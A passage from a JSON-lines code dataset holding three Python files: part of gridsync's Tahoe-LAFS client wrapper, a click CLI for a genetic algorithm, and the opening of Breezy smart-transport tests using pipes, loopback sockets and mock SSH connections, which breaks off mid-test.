@inlineCallbacks\n    def command(self, args, callback_trigger=None):\n        from twisted.internet import reactor\n\n        if not self.executable:\n            self.executable = which(\"tahoe\")\n        args = [self.executable, \"-d\", self.nodedir] + args\n        env = os.environ\n        env[\"PYTHONUNBUFFERED\"] = \"1\"\n        log.debug(\"Executing: %s...\", \" \".join(args))\n        protocol = SubprocessProtocol(\n            callback_triggers=[callback_trigger],\n            stdout_line_collector=self.line_received,\n        )\n        transport = yield reactor.spawnProcess(\n            protocol, self.executable, args=args, env=env\n        )\n        try:\n            output = yield protocol.done\n        except Exception as e:  # pylint: disable=broad-except\n            raise TahoeCommandError(f\"{type(e).__name__}: {str(e)}\") from e\n        if callback_trigger:\n            return transport.pid\n        return output\n\n    @inlineCallbacks\n    def create_node(self, **kwargs):\n        if os.path.exists(self.nodedir):\n            raise FileExistsError(\n                \"Nodedir already exists: {}\".format(self.nodedir)\n            )\n        args = [\"create-node\", \"--webport=tcp:0:interface=127.0.0.1\"]\n        for key, value in kwargs.items():\n            if key in (\n                \"nickname\",\n                \"introducer\",\n                \"shares-needed\",\n                \"shares-happy\",\n                \"shares-total\",\n                \"listen\",\n                \"location\",\n                \"port\",\n            ):\n                args.extend([f\"--{key}\", str(value)])\n            elif key in (\"needed\", \"happy\", \"total\"):\n                args.extend([f\"--shares-{key}\", str(value)])\n            elif key in (\"hide-ip\", \"no-storage\"):\n                args.append(f\"--{key}\")\n        yield self.command(args)\n        storage_servers = kwargs.get(\"storage\")\n        if storage_servers and isinstance(storage_servers, dict):\n            self.add_storage_servers(storage_servers)\n\n    @inlineCallbacks\n    def create_client(self, **kwargs):\n        kwargs[\"no-storage\"] = True\n        kwargs[\"listen\"] = \"none\"\n        yield self.create_node(**kwargs)\n\n    def is_storage_node(self) -> bool:\n        if self.storage_furl:\n            return True\n        return False\n\n    @inlineCallbacks\n    def stop(self):\n        log.debug('Stopping \"%s\" tahoe client...', self.name)\n        if not os.path.isfile(self.pidfile):\n            log.error('No \"twistd.pid\" file found in %s', self.nodedir)\n            return\n        self.state = Tahoe.STOPPING\n        self.streamedlogs.stop()\n        if self.rootcap_manager.lock.locked:\n            log.warning(\n                \"Delaying stop operation; \"\n                \"another operation is trying to modify the rootcap...\"\n            )\n            yield self.rootcap_manager.lock.acquire()\n            yield self.rootcap_manager.lock.release()\n            log.debug(\"Lock released; resuming stop operation...\")\n        if not self.is_storage_node():\n            yield self.magic_folder.stop()\n        yield self.supervisor.stop()\n        self.state = Tahoe.STOPPED\n        log.debug('Finished stopping \"%s\" tahoe client', self.name)\n\n    def get_streamed_log_messages(self):\n        \"\"\"\n        Return a ``deque`` containing all buffered log messages.\n\n        :return: A ``deque`` where each element is a UTF-8 & JSON encoded\n            ``bytes`` object giving a single log event with older events\n            appearing first.\n        \"\"\"\n        return self.streamedlogs.get_streamed_log_messages()\n\n    def _on_started(self) -> None:\n        self.load_settings()\n\n        with open(\n            os.path.join(self.nodedir, \"node.url\"), encoding=\"utf-8\"\n        ) as f:\n            self.set_nodeurl(f.read().strip())\n        token_file = os.path.join(self.nodedir, \"private\", \"api_auth_token\")\n        with open(token_file, encoding=\"utf-8\") as f:\n            self.api_token = f.read().strip()\n        self.shares_happy = int(self.config_get(\"client\", \"shares.happy\"))\n        self.load_newscap()\n        self.newscap_checker.start()\n        storage_furl_path = Path(self.nodedir, \"private\", \"storage.furl\")\n        if storage_furl_path.exists():\n            self.storage_furl = storage_furl_path.read_text(\n                encoding=\"utf-8\"\n            ).strip()\n\n        self.streamedlogs.stop()\n        self.streamedlogs.start(self.nodeurl, self.api_token)\n\n        self.state = Tahoe.STARTED\n\n        self.scan_storage_plugins()\n\n        if not self.is_storage_node():\n            self.magic_folder.start()\n\n    @inlineCallbacks\n    def start(self):\n        log.debug('Starting \"%s\" tahoe client...', self.name)\n        self.state = Tahoe.STARTING\n        self.monitor.start()\n        tcp = self.config_get(\"connections\", \"tcp\")\n        if tcp and tcp.lower() == \"tor\":\n            self.use_tor = True\n        if self.config_get(\n            f\"storageclient.plugins.{ZKAPAUTHZ_PLUGIN_NAME}\",\n            \"ristretto-issuer-root-url\",\n        ):\n            self.zkap_auth_required = True\n        if self.zkap_auth_required:\n            default_token_count = self.config_get(\n                f\"storageclient.plugins.{ZKAPAUTHZ_PLUGIN_NAME}\",\n                \"default-token-count\",\n            )\n            if default_token_count:\n                self.zkapauthorizer.zkap_batch_size = int(default_token_count)\n\n        if not self.executable:\n            self.executable = which(\"tahoe\")\n        try:\n            results = yield self.supervisor.start(\n                [self.executable, \"-d\", self.nodedir, \"run\"],\n                started_trigger=\"client running\",\n                stdout_line_collector=self.line_received,\n                process_started_callback=self._on_started,\n            )\n        except Exception as exc:  # pylint: disable=broad-except\n            critical(\n                f\"Error starting Tahoe-LAFS gateway for {self.name}\",\n                \"A critical error occurred when attempting to start the \"\n                f'Tahoe-LAFS gateway for \"{self.name}\". {APP_NAME} will '\n                'now exit.\\n\\nClick \"Show Details...\" for more information.',\n                str(exc),\n            )\n            return\n        pid, _ = results\n        log.debug(\n            'Finished starting \"%s\" tahoe client (pid: %i)', self.name, pid\n        )\n\n    def set_nodeurl(self, nodeurl):\n        \"\"\"\n        Specify the location of the Tahoe-LAFS web API.\n\n        :param str nodeurl: A text string giving the URI root of the web API.\n        \"\"\"\n        self.nodeurl = nodeurl\n\n    @inlineCallbacks\n    def get_grid_status(self):\n        if not self.nodeurl:\n            return None\n        try:\n            resp = yield treq.get(self.nodeurl + \"?t=json\")\n        except ConnectError:\n            return None\n        if resp.code == 200:\n            content = yield treq.content(resp)\n            content = json.loads(content.decode(\"utf-8\"))\n            servers_connected = 0\n            servers_known = 0\n            available_space = 0\n            if \"servers\" in content:\n                servers = content[\"servers\"]\n                servers_known = len(servers)\n                for server in servers:\n                    if server[\"connection_status\"].startswith(\"Connected\"):\n                        servers_connected += 1\n                        if server[\"available_space\"]:\n                            available_space += server[\"available_space\"]\n            return servers_connected, servers_known, available_space\n        return None\n\n    @inlineCallbacks\n    def get_connected_servers(self):\n        if not self.nodeurl:\n            return None\n        try:\n            resp = yield treq.get(self.nodeurl)\n        except ConnectError:\n            return None\n        if resp.code == 200:\n            html = yield treq.content(resp)\n            match = re.search(\n                \"Connected to <span>(.+?)</span>\", html.decode(\"utf-8\")\n            )\n            if match:\n                return int(match.group(1))\n        return None\n\n    @inlineCallbacks\n    def is_ready(self):\n        if not self.shares_happy:\n            return False\n        connected_servers = yield self.get_connected_servers()\n        return bool(\n            connected_servers and connected_servers >= self.shares_happy\n        )\n\n    def await_ready(self):\n        return self._ready_poller.wait_for_completion()\n\n    @inlineCallbacks\n    def mkdir(self, parentcap=None, childname=None):\n        yield self.await_ready()\n        url = self.nodeurl + \"uri\"\n        params = {\"t\": \"mkdir\"}\n        if parentcap and childname:\n            url += \"/\" + parentcap\n            params[\"name\"] = childname\n        resp = yield treq.post(url, params=params)\n        if resp.code == 200:\n            content = yield treq.content(resp)\n            return content.decode(\"utf-8\").strip()\n        raise TahoeWebError(\n            \"Error creating Tahoe-LAFS directory: {}\".format(resp.code)\n        )\n\n    @inlineCallbacks\n    def diminish(self, cap: str) -> TwistedDeferred[str]:\n        output = yield self.get_json(cap)\n        return output[1][\"ro_uri\"]\n\n    @inlineCallbacks\n    def create_rootcap(self) -> TwistedDeferred[str]:\n        rootcap = yield self.rootcap_manager.create_rootcap()\n        return rootcap\n\n    @inlineCallbacks\n    def upload(\n        self, local_path: str, dircap: str = \"\", mutable: bool = False\n    ) -> TwistedDeferred[str]:\n        if dircap:\n            filename = Path(local_path).name\n            url = f\"{self.nodeurl}uri/{dircap}/{filename}\"\n        else:\n            url = f\"{self.nodeurl}uri\"\n        if mutable:\n            url = f\"{url}?format=MDMF\"\n        log.debug(\"Uploading %s...\", local_path)\n        yield self.await_ready()\n        with open(local_path, \"rb\") as f:\n            resp = yield treq.put(url, f)\n        if resp.code in (200, 201):\n            content = yield treq.content(resp)\n            log.debug(\"Successfully uploaded %s\", local_path)\n            return content.decode(\"utf-8\")\n        content = yield treq.content(resp)\n        raise TahoeWebError(content.decode(\"utf-8\"))\n\n    @inlineCallbacks\n    def download(self, cap, local_path):\n        log.debug(\"Downloading %s...\", local_path)\n        yield self.await_ready()\n        resp = yield treq.get(\"{}uri/{}\".format(self.nodeurl, cap))\n        if resp.code == 200:\n            with atomic_write(local_path, mode=\"wb\", overwrite=True) as f:\n                yield treq.collect(resp, f.write)\n            log.debug(\"Successfully downloaded %s\", local_path)\n        else:\n            content = yield treq.content(resp)\n            raise TahoeWebError(content.decode(\"utf-8\"))\n\n    @inlineCallbacks\n    def link(self, dircap, childname, childcap):\n        dircap_hash = trunchash(dircap)\n        childcap_hash = trunchash(childcap)\n        log.debug(\n            'Linking \"%s\" (%s) into %s...',\n            childname,\n            childcap_hash,\n            dircap_hash,\n        )\n        yield self.await_ready()\n        resp = yield treq.post(\n            \"{}uri/{}/?t=uri&name={}&uri={}\".format(\n                self.nodeurl, dircap, childname, childcap\n            )\n        )\n        if resp.code != 200:\n            content = yield treq.content(resp)\n            raise TahoeWebError(content.decode(\"utf-8\"))\n        log.debug(\n            'Done linking \"%s\" (%s) into %s',\n            childname,\n            childcap_hash,\n            dircap_hash,\n        )\n\n    @inlineCallbacks\n    def unlink(self, dircap, childname, missing_ok=False):\n        dircap_hash = trunchash(dircap)\n        log.debug('Unlinking \"%s\" from %s...', childname, dircap_hash)\n        yield self.await_ready()\n        resp = yield treq.post(\n            \"{}uri/{}/?t=unlink&name={}\".format(\n                self.nodeurl, dircap, childname\n            )\n        )\n        if resp.code == 404 and missing_ok:\n            pass\n        elif resp.code != 200:\n            content = yield treq.content(resp)\n            raise TahoeWebError(content.decode(\"utf-8\"))\n        log.debug('Done unlinking \"%s\" from %s', childname, dircap_hash)\n\n    @inlineCallbacks\n    def get_json(self, cap):\n        if not cap or not self.nodeurl:\n            return None\n        uri = \"{}uri/{}/?t=json\".format(self.nodeurl, cap)\n        try:\n            resp = yield treq.get(uri)\n        except ConnectError:\n            return None\n        if resp.code == 200:\n            content = yield treq.content(resp)\n            return json.loads(content.decode(\"utf-8\"))\n        return None\n\n    @inlineCallbacks\n    def ls(\n        self,\n        cap: str,\n        exclude_dirnodes: bool = False,\n        exclude_filenodes: bool = False,\n    ) -> TwistedDeferred[Optional[Dict[str, dict]]]:\n        yield self.await_ready()\n        json_output = yield self.get_json(cap)\n        if json_output is None:\n            return None\n        results = {}\n        for name, data in json_output[1][\"children\"].items():\n            node_type = data[0]\n            if node_type == \"dirnode\" and exclude_dirnodes:\n                continue\n            if node_type == \"filenode\" and exclude_filenodes:\n                continue\n            data = data[1]\n            results[name] = data\n            # Include the most \"authoritative\" capability separately:\n            results[name][\"cap\"] = data.get(\"rw_uri\", data.get(\"ro_uri\", \"\"))\n            results[name][\"type\"] = node_type\n        return results\n\n    def get_rootcap(self) -> str:\n        return self.rootcap_manager.get_rootcap()\n\n    @inlineCallbacks\n    def scan_storage_plugins(self):\n        plugins = []\n        log.debug(\"Scanning for known storage plugins...\")\n        version = yield self.zkapauthorizer.get_version()\n        if version:\n            plugins.append((\"ZKAPAuthorizer\", version))\n        if plugins:\n            log.debug(\"Found storage plugins: %s\", plugins)\n        else:\n            log.debug(\"No storage plugins found\")\n\n\n# The names of all of the optional items in a ZKAPAuthorizer configuration\n# section.  These are optional both in the storage options object and the\n# tahoe.cfg section.\n_ZKAPAUTHZ_OPTIONAL_ITEMS = {\n    \"pass-value\",\n    \"default-token-count\",\n    \"allowed-public-keys\",\n    \"lease.crawl-interval.mean\",\n    \"lease.crawl-interval.range\",\n    \"lease.min-time-remaining\",\n}\n\n\ndef storage_options_to_config(options: Dict) -> Optional[Dict]:\n    \"\"\"\n    Reshape a storage-options configuration dictionary into a tahoe.cfg\n    configuration dictionary.\n    \"\"\"\n    name = options.get(\"name\")\n    if name == ZKAPAUTHZ_PLUGIN_NAME:\n        zkapauthz = {\n            \"redeemer\": \"ristretto\",\n            \"ristretto-issuer-root-url\": options.get(\n                \"ristretto-issuer-root-url\"\n            ),\n        }\n        zkapauthz.update(\n            {\n                optional_item: options.get(optional_item)\n                for optional_item in _ZKAPAUTHZ_OPTIONAL_ITEMS\n                if options.get(optional_item) is not None\n            }\n        )\n\n        return {\n            \"client\": {\n                # TODO: Append name instead of setting/overriding?\n                \"storage.plugins\": name,\n            },\n            f\"storageclient.plugins.{ZKAPAUTHZ_PLUGIN_NAME}\": zkapauthz,\n        }\n\n    return None\n","repo_name":"meejah/gridsync","sub_path":"gridsync/tahoe.py","file_name":"tahoe.py","file_ext":"py","file_size_in_byte":27141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"}
+{"seq_id":"10983703406","text":"import click\n\nimport cli.functions as funcs\n\n\n@click.group()\ndef main():\n    pass\n\n\n@click.command()\n@click.option('-c', '--config-file', required=True,\n              help='The JSON file contains the config of GA.')\n@click.option('-i', '--input-path', required=True,\n              help='The JSON file contains parameters, fitness values, generations. '\n                   'If the file is not exist, first population will be generated and '\n                   'saved to the specified file path. '\n                   'If it is a directory, the last file in the directory ordered by '\n                   'name will be loaded.')\n@click.option('-o', '--output-path', required=False,\n              help='The output JSON file after the algorithm finished. '\n                   'If not specified, the output will overwrite the input file. '\n                   'If it is a directory, data of every generation will be created as'\n                   'seperate files in the directory.')\n@click.option('-p', '--pretty', required=False, is_flag=True,\n              help='Add indent to JSON file to make it human-readable')\ndef run(config_file, input_path, output_path, pretty: bool = False):\n    config = funcs.load_config(config_file)\n    if config is None:\n        click.echo(click.style('😭 Config file not exists', fg='red'))\n        return\n\n    input_data = funcs.load_input_file(input_path)\n    if input_data is None:\n        click.echo(click.style('The input path is not exist.', fg='yellow'))\n\n    data = funcs.evolve(config, input_data) if input_data is not None else funcs.evolve(config)\n\n    output_file = output_path or input_path\n\n    result = funcs.dump_output(output_file, data, pretty)\n    if result is None:\n        click.echo(click.style('😭 Failed to write result to file', fg='red'))\n        return\n\n    click.echo(click.style('✨ Result has been save to ' + result, fg='green'))\n\n\nmain.add_command(run)\n","repo_name":"vergilchoi/genetic_algorithm","sub_path":"cli/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1915,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"75101471414","text":"import doctest\nimport errno\nimport os\nimport socket\nimport subprocess\nimport sys\nimport threading\nimport time\nfrom io import BytesIO\nfrom typing import Optional, Type\n\nfrom testtools.matchers import DocTestMatches\n\nimport breezy\n\nfrom ... import controldir, debug, errors, osutils, tests, urlutils\nfrom ... import transport as _mod_transport\nfrom ...tests import features, test_server\nfrom ...transport import local, memory, remote, ssh\nfrom ...transport.http import urllib\nfrom .. import bzrdir\nfrom ..remote import UnknownErrorFromSmartServer\nfrom ..smart import client, medium, message, protocol, vfs\nfrom ..smart import request as _mod_request\nfrom ..smart import server as _mod_server\nfrom . import test_smart\n\n\ndef create_file_pipes():\n    r, w = os.pipe()\n    # These must be opened without buffering, or we get undefined results\n    rf = os.fdopen(r, 'rb', 0)\n    wf = os.fdopen(w, 'wb', 0)\n    return rf, wf\n\n\ndef portable_socket_pair():\n    \"\"\"Return a pair of TCP sockets connected to each other.\n\n    Unlike socket.socketpair, this should work on Windows.\n    \"\"\"\n    listen_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    listen_sock.bind(('127.0.0.1', 0))\n    listen_sock.listen(1)\n    client_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    client_sock.connect(listen_sock.getsockname())\n    server_sock, addr = listen_sock.accept()\n    listen_sock.close()\n    return server_sock, client_sock\n\n\nclass BytesIOSSHVendor:\n    \"\"\"A SSH vendor that uses BytesIO to buffer writes and answer reads.\"\"\"\n\n    def __init__(self, read_from, write_to):\n        self.read_from = read_from\n        self.write_to = write_to\n        self.calls = []\n\n    def connect_ssh(self, username, password, host, port, command):\n        self.calls.append(('connect_ssh', username, password, host, port,\n                           command))\n        return BytesIOSSHConnection(self)\n\n\nclass FirstRejectedBytesIOSSHVendor(BytesIOSSHVendor):\n    \"\"\"The first connection will be considered closed.\n\n    The second connection will succeed normally.\n    \"\"\"\n\n    def __init__(self, read_from, write_to, fail_at_write=True):\n        super().__init__(read_from,\n                                                            write_to)\n        self.fail_at_write = fail_at_write\n        self._first = True\n\n    def connect_ssh(self, username, password, host, port, command):\n        self.calls.append(('connect_ssh', username, password, host, port,\n                           command))\n        if self._first:\n            self._first = False\n            return ClosedSSHConnection(self)\n        return BytesIOSSHConnection(self)\n\n\nclass BytesIOSSHConnection(ssh.SSHConnection):\n    \"\"\"A SSH connection that uses BytesIO to buffer writes and answer reads.\"\"\"\n\n    def __init__(self, vendor):\n        self.vendor = vendor\n\n    def close(self):\n        self.vendor.calls.append(('close', ))\n        self.vendor.read_from.close()\n        self.vendor.write_to.close()\n\n    def get_sock_or_pipes(self):\n        return 'pipes', (self.vendor.read_from, self.vendor.write_to)\n\n\nclass ClosedSSHConnection(ssh.SSHConnection):\n    \"\"\"An SSH connection that just has closed channels.\"\"\"\n\n    def __init__(self, vendor):\n        self.vendor = vendor\n\n    def close(self):\n        self.vendor.calls.append(('close', ))\n\n    def get_sock_or_pipes(self):\n        # We create matching pipes, and then close the ssh side\n        bzr_read, ssh_write = create_file_pipes()\n        # We always fail when bzr goes to read\n        ssh_write.close()\n        if self.vendor.fail_at_write:\n            # If set, we'll also fail when bzr goes to write\n            ssh_read, bzr_write = create_file_pipes()\n            ssh_read.close()\n        else:\n            bzr_write = self.vendor.write_to\n        return 'pipes', (bzr_read, bzr_write)\n\n\nclass _InvalidHostnameFeature(features.Feature):\n    \"\"\"Does 'non_existent.invalid' fail to resolve?\n\n    RFC 2606 states that .invalid is reserved for invalid domain names, and\n    also underscores are not a valid character in domain names.  Despite this,\n    it's possible a badly misconfigured name server might decide to always\n    return an address for any name, so this feature allows us to distinguish a\n    broken system from a broken test.\n    \"\"\"\n\n    def _probe(self):\n        try:\n            socket.gethostbyname('non_existent.invalid')\n        except socket.gaierror:\n            # The host name failed to resolve.  Good.\n            return True\n        else:\n            return False\n\n    def feature_name(self):\n        return 'invalid hostname'\n\n\nInvalidHostnameFeature = _InvalidHostnameFeature()\n\n\nclass SmartClientMediumTests(tests.TestCase):\n    \"\"\"Tests for SmartClientMedium.\n\n    We should create a test scenario for this: we need a server module that\n    construct the test-servers (like make_loopsocket_and_medium), and the list\n    of SmartClientMedium classes to test.\n    \"\"\"\n\n    def make_loopsocket_and_medium(self):\n        \"\"\"Create a loopback socket for testing, and a medium aimed at it.\"\"\"\n        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        sock.bind(('127.0.0.1', 0))\n        sock.listen(1)\n        port = sock.getsockname()[1]\n        client_medium = medium.SmartTCPClientMedium('127.0.0.1', port, 'base')\n        return sock, client_medium\n\n    def receive_bytes_on_server(self, sock, bytes):\n        \"\"\"Accept a connection on sock and read 3 bytes.\n\n        The bytes are appended to the list bytes.\n\n        :return: a Thread which is running to do the accept and recv.\n        \"\"\"\n        def _receive_bytes_on_server():\n            connection, address = sock.accept()\n            bytes.append(osutils.recv_all(connection, 3))\n            connection.close()\n        t = threading.Thread(target=_receive_bytes_on_server)\n        t.start()\n        return t\n\n    def test_construct_smart_simple_pipes_client_medium(self):\n        # the SimplePipes client medium takes two pipes:\n        # readable pipe, writeable pipe.\n        # Constructing one should just save these and do nothing.\n        # We test this by passing in None.\n        medium.SmartSimplePipesClientMedium(None, None, None)\n\n    def test_simple_pipes_client_request_type(self):\n        # SimplePipesClient should use SmartClientStreamMediumRequest's.\n        client_medium = medium.SmartSimplePipesClientMedium(None, None, None)\n        request = client_medium.get_request()\n        self.assertIsInstance(request, medium.SmartClientStreamMediumRequest)\n\n    def test_simple_pipes_client_get_concurrent_requests(self):\n        # the simple_pipes client does not support pipelined requests:\n        # but it does support serial requests: we construct one after\n        # another is finished. This is a smoke test testing the integration\n        # of the SmartClientStreamMediumRequest and the SmartClientStreamMedium\n        # classes - as the sibling classes share this logic, they do not have\n        # explicit tests for this.\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            None, output, 'base')\n        request = client_medium.get_request()\n        request.finished_writing()\n        request.finished_reading()\n        request2 = client_medium.get_request()\n        request2.finished_writing()\n        request2.finished_reading()\n\n    def test_simple_pipes_client__accept_bytes_writes_to_writable(self):\n        # accept_bytes writes to the writeable pipe.\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            None, output, 'base')\n        client_medium._accept_bytes(b'abc')\n        self.assertEqual(b'abc', output.getvalue())\n\n    def test_simple_pipes__accept_bytes_subprocess_closed(self):\n        # It is unfortunate that we have to use Popen for this. However,\n        # os.pipe() does not behave the same as subprocess.Popen().\n        # On Windows, if you use os.pipe() and close the write side,\n        # read.read() hangs. On Linux, read.read() returns the empty string.\n        p = subprocess.Popen([sys.executable, '-c',\n                              'import sys\\n'\n                              'sys.stdout.write(sys.stdin.read(4))\\n'\n                              'sys.stdout.close()\\n'],\n                             stdout=subprocess.PIPE, stdin=subprocess.PIPE, bufsize=0)\n        client_medium = medium.SmartSimplePipesClientMedium(\n            p.stdout, p.stdin, 'base')\n        client_medium._accept_bytes(b'abc\\n')\n        self.assertEqual(b'abc', client_medium._read_bytes(3))\n        p.wait()\n        # While writing to the underlying pipe,\n        #   Windows py2.6.6 we get IOError(EINVAL)\n        #   Lucid py2.6.5, we get IOError(EPIPE)\n        # In both cases, it should be wrapped to ConnectionReset\n        self.assertRaises(ConnectionResetError,\n                          client_medium._accept_bytes, b'more')\n\n    def test_simple_pipes__accept_bytes_pipe_closed(self):\n        child_read, client_write = create_file_pipes()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            None, client_write, 'base')\n        client_medium._accept_bytes(b'abc\\n')\n        self.assertEqual(b'abc\\n', child_read.read(4))\n        # While writing to the underlying pipe,\n        #   Windows py2.6.6 we get IOError(EINVAL)\n        #   Lucid py2.6.5, we get IOError(EPIPE)\n        # In both cases, it should be wrapped to ConnectionReset\n        child_read.close()\n        self.assertRaises(ConnectionResetError,\n                          client_medium._accept_bytes, b'more')\n\n    def test_simple_pipes__flush_pipe_closed(self):\n        child_read, client_write = create_file_pipes()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            None, client_write, 'base')\n        client_medium._accept_bytes(b'abc\\n')\n        child_read.close()\n        # Even though the pipe is closed, flush on the write side seems to be a\n        # no-op, rather than a failure.\n        client_medium._flush()\n\n    def test_simple_pipes__flush_subprocess_closed(self):\n        p = subprocess.Popen([sys.executable, '-c',\n                              'import sys\\n'\n                              'sys.stdout.write(sys.stdin.read(4))\\n'\n                              'sys.stdout.close()\\n'],\n                             stdout=subprocess.PIPE, stdin=subprocess.PIPE, bufsize=0)\n        client_medium = medium.SmartSimplePipesClientMedium(\n            p.stdout, p.stdin, 'base')\n        client_medium._accept_bytes(b'abc\\n')\n        p.wait()\n        # Even though the child process is dead, flush seems to be a no-op.\n        client_medium._flush()\n\n    def test_simple_pipes__read_bytes_pipe_closed(self):\n        child_read, client_write = create_file_pipes()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            child_read, client_write, 'base')\n        client_medium._accept_bytes(b'abc\\n')\n        client_write.close()\n        self.assertEqual(b'abc\\n', client_medium._read_bytes(4))\n        self.assertEqual(b'', client_medium._read_bytes(4))\n\n    def test_simple_pipes__read_bytes_subprocess_closed(self):\n        p = subprocess.Popen([sys.executable, '-c',\n                              'import sys\\n'\n                              'if sys.platform == \"win32\":\\n'\n                              '    import msvcrt, os\\n'\n                              '    msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY)\\n'\n                              '    msvcrt.setmode(sys.stdin.fileno(), os.O_BINARY)\\n'\n                              'sys.stdout.write(sys.stdin.read(4))\\n'\n                              'sys.stdout.close()\\n'],\n                             stdout=subprocess.PIPE, stdin=subprocess.PIPE, bufsize=0)\n        client_medium = medium.SmartSimplePipesClientMedium(\n            p.stdout, p.stdin, 'base')\n        client_medium._accept_bytes(b'abc\\n')\n        p.wait()\n        self.assertEqual(b'abc\\n', client_medium._read_bytes(4))\n        self.assertEqual(b'', client_medium._read_bytes(4))\n\n    def test_simple_pipes_client_disconnect_does_nothing(self):\n        # calling disconnect does nothing.\n        input = BytesIO()\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        # send some bytes to ensure disconnecting after activity still does not\n        # close.\n        client_medium._accept_bytes(b'abc')\n        client_medium.disconnect()\n        self.assertFalse(input.closed)\n        self.assertFalse(output.closed)\n\n    def test_simple_pipes_client_accept_bytes_after_disconnect(self):\n        # calling disconnect on the client does not alter the pipe that\n        # accept_bytes writes to.\n        input = BytesIO()\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        client_medium._accept_bytes(b'abc')\n        client_medium.disconnect()\n        client_medium._accept_bytes(b'abc')\n        self.assertFalse(input.closed)\n        self.assertFalse(output.closed)\n        self.assertEqual(b'abcabc', output.getvalue())\n\n    def test_simple_pipes_client_ignores_disconnect_when_not_connected(self):\n        # Doing a disconnect on a new (and thus unconnected) SimplePipes medium\n        # does nothing.\n        client_medium = medium.SmartSimplePipesClientMedium(None, None, 'base')\n        client_medium.disconnect()\n\n    def test_simple_pipes_client_can_always_read(self):\n        # SmartSimplePipesClientMedium is never disconnected, so read_bytes\n        # always tries to read from the underlying pipe.\n        input = BytesIO(b'abcdef')\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, None, 'base')\n        self.assertEqual(b'abc', client_medium.read_bytes(3))\n        client_medium.disconnect()\n        self.assertEqual(b'def', client_medium.read_bytes(3))\n\n    def test_simple_pipes_client_supports__flush(self):\n        # invoking _flush on a SimplePipesClient should flush the output\n        # pipe. We test this by creating an output pipe that records\n        # flush calls made to it.\n        from io import BytesIO  # get regular BytesIO\n        input = BytesIO()\n        output = BytesIO()\n        flush_calls = []\n\n        def logging_flush(): flush_calls.append('flush')\n        output.flush = logging_flush\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        # this call is here to ensure we only flush once, not on every\n        # _accept_bytes call.\n        client_medium._accept_bytes(b'abc')\n        client_medium._flush()\n        client_medium.disconnect()\n        self.assertEqual(['flush'], flush_calls)\n\n    def test_construct_smart_ssh_client_medium(self):\n        # the SSH client medium takes:\n        # host, port, username, password, vendor\n        # Constructing one should just save these and do nothing.\n        # we test this by creating a empty bound socket and constructing\n        # a medium.\n        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        sock.bind(('127.0.0.1', 0))\n        unopened_port = sock.getsockname()[1]\n        # having vendor be invalid means that if it tries to connect via the\n        # vendor it will blow up.\n        ssh_params = medium.SSHParams('127.0.0.1', unopened_port, None, None)\n        medium.SmartSSHClientMedium(\n            'base', ssh_params, \"not a vendor\")\n        sock.close()\n\n    def test_ssh_client_connects_on_first_use(self):\n        # The only thing that initiates a connection from the medium is giving\n        # it bytes.\n        output = BytesIO()\n        vendor = BytesIOSSHVendor(BytesIO(), output)\n        ssh_params = medium.SSHParams(\n            'a hostname', 'a port', 'a username', 'a password', 'bzr')\n        client_medium = medium.SmartSSHClientMedium('base', ssh_params, vendor)\n        client_medium._accept_bytes(b'abc')\n        self.assertEqual(b'abc', output.getvalue())\n        self.assertEqual([('connect_ssh', 'a username', 'a password',\n                           'a hostname', 'a port',\n                           ['bzr', 'serve', '--inet', '--directory=/', '--allow-writes'])],\n                         vendor.calls)\n\n    def test_ssh_client_changes_command_when_bzr_remote_path_passed(self):\n        # The only thing that initiates a connection from the medium is giving\n        # it bytes.\n        output = BytesIO()\n        vendor = BytesIOSSHVendor(BytesIO(), output)\n        ssh_params = medium.SSHParams(\n            'a hostname', 'a port', 'a username', 'a password',\n            bzr_remote_path='fugly')\n        client_medium = medium.SmartSSHClientMedium('base', ssh_params, vendor)\n        client_medium._accept_bytes(b'abc')\n        self.assertEqual(b'abc', output.getvalue())\n        self.assertEqual([('connect_ssh', 'a username', 'a password',\n                           'a hostname', 'a port',\n                           ['fugly', 'serve', '--inet', '--directory=/', '--allow-writes'])],\n                         vendor.calls)\n\n    def test_ssh_client_disconnect_does_so(self):\n        # calling disconnect should disconnect both the read_from and write_to\n        # file-like object it from the ssh connection.\n        input = BytesIO()\n        output = BytesIO()\n        vendor = BytesIOSSHVendor(input, output)\n        client_medium = medium.SmartSSHClientMedium(\n            'base', medium.SSHParams('a hostname'), vendor)\n        client_medium._accept_bytes(b'abc')\n        client_medium.disconnect()\n        self.assertTrue(input.closed)\n        self.assertTrue(output.closed)\n        self.assertEqual([\n            ('connect_ssh', None, None, 'a hostname', None,\n             ['bzr', 'serve', '--inet', '--directory=/', '--allow-writes']),\n            ('close', ),\n            ],\n            vendor.calls)\n\n    def test_ssh_client_disconnect_allows_reconnection(self):\n        # calling disconnect on the client terminates the connection, but should\n        # not prevent additional connections occuring.\n        # we test this by initiating a second connection after doing a\n        # disconnect.\n        input = BytesIO()\n        output = BytesIO()\n        vendor = BytesIOSSHVendor(input, output)\n        client_medium = medium.SmartSSHClientMedium(\n            'base', medium.SSHParams('a hostname'), vendor)\n        client_medium._accept_bytes(b'abc')\n        client_medium.disconnect()\n        # the disconnect has closed output, so we need a new output for the\n        # new connection to write to.\n        input2 = BytesIO()\n        output2 = BytesIO()\n        vendor.read_from = input2\n        vendor.write_to = output2\n        client_medium._accept_bytes(b'abc')\n        client_medium.disconnect()\n        self.assertTrue(input.closed)\n        self.assertTrue(output.closed)\n        self.assertTrue(input2.closed)\n        self.assertTrue(output2.closed)\n        self.assertEqual([\n            ('connect_ssh', None, None, 'a hostname', None,\n             ['bzr', 'serve', 